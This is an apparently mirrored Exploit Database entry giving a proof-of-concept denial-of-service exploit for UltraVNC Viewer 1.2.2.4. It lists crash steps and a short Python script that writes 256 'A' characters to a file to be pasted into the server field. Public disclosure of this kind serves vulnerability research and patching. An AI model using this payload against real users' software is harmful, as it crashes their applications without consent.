UltraVNC Viewer 1.2.2.4 – ‘VNC Server’ Denial of Service (PoC)

• Exploit Database
• 15 阅读

• 作者： Victor Mondragón
  日期： 2019-04-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46702/

• #Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
  #Discovery by: Victor Mondragón
  #Discovery Date: 2019-04-14
  #Vendor Homepage: https://www.uvnc.com/
  #Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
  #Tested Version: 1.2.2.4
  #Tested on: Windows 7 x64 Service Pack 1
  
  #Steps to produce the crash:
  #1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
  #2.- Open UltraViewer.txt and copy content to clipboard
  #3.- Open UltraVNC Viewer 
  #4.- In "VNC Server" Paste Clipboard
  #5.- Click on "Connect"
  #6.- Crashed
  
  cod = "\x41" * 256
  
  f = open('UltraViewer.txt', 'w')
  f.write(cod)
  f.close()